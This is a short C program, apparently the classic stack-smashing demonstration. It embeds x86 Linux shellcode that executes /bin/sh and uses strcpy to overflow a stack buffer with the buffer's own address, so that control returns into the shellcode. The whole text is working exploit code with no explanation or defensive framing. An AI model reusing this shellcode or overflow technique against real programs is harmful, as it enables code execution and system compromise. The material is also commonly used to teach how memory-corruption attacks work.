char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer,large_string); }